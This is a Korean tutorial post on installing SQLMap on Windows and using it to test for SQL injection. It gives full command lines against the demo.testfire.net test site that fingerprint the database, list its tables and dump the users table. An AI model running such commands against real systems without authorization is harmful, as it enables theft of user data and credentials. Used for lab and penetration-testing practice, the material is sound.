이번 시간에는 SQL Injection만을 집중적으로 점검하는 툴인 SQLMap 설치 및 사용법을 알아보도록 하겠습니다.
다. windows10환경에서 진행하였습니다.
1. SQLMap 설치
1-1. python 설치
SQLMap은 파이썬으로 만들어졌기 때문에 실행하기 위해서는 python이 설치되어있어야 합니다.
python의 버전은 2.6이상 3.0미만 이어야 합니다.
https://www.python.org/downloads/windows/ <-를 클릭하여 다운받으면 됩니다.
1-2. SQLMap 설치
www.sqlmap.org <-를 클릭하여 sqlmap홈페이지로 들어간 후 .zip file을 눌러 다운받습니다.
그리고 다운받은 .zip file의 압축을 해제하면 설치는 완료됩니다.
2. SQLMap 실행
cmd창에서 압축을 해제한 디렉토리로 이동 후 sqlmap.py를 실행시키면 됩니다.
--help옵션을 사용하여 도움말을 볼 수 있습니다.
3. Tip
https://www.binarytides.com/sqlmap-hacking-tutorial/ <- 에서 튜토리얼을 볼 수 있습니다.
4. SQLMap 실습
4-1.
우선 타겟 URL의 DBMS정보를 획득합니다.
(우선 DBMS의 정보를 획득하면 좀 더 빠르게 공격을 진행할 수 있습니다.)
sqlmap.py -u "http://demo.testfire.net/bank/login.aspx?uid=1&passw=2" -p "uid" |
-u URL : 타겟 URL을 명시 |
-p TESTPARAMETER : 공격을 수행할 대상 파라미터를 명시 |
DBMS는 Microsoft Access임을 알 수 있습니다.
4-2.
4-1에서 획득한 DBMS 정보를 아래와 같이 명시할 수 있습니다.
sqlmap.py -u "http://demo.testfire.net/bank/login.aspx?uid=1&passw=2" --dbms=msaccess |
--dbms=DBMS : SQL Injection을 수행할 특정 데이터베이스 종류 명시 |
4-3.
테이블을 확인해 봅니다.
sqlmap.py -u "http://demo.testfire.net/bank/login.aspx?uid=1&passw=2" --tables |
--tables : 테이블을 나열 해줌 |
accounts, transaction, users 테이블이 발견되었습니다.
4-4.
4-3에서 발견한 users테이블의 내용을 확인해봅니다.
sqlmap.py -u "http://demo.testfire.net/bank/login.aspx?uid=1&passw=2" -T users --dump |
-T TBL : 특정 테이블 명시 |
--dump : 데이터베이스 테이블 항목 덤프 |
위와 같이 users테이블 내용이 출력된 것을 확인할 수 있습니다.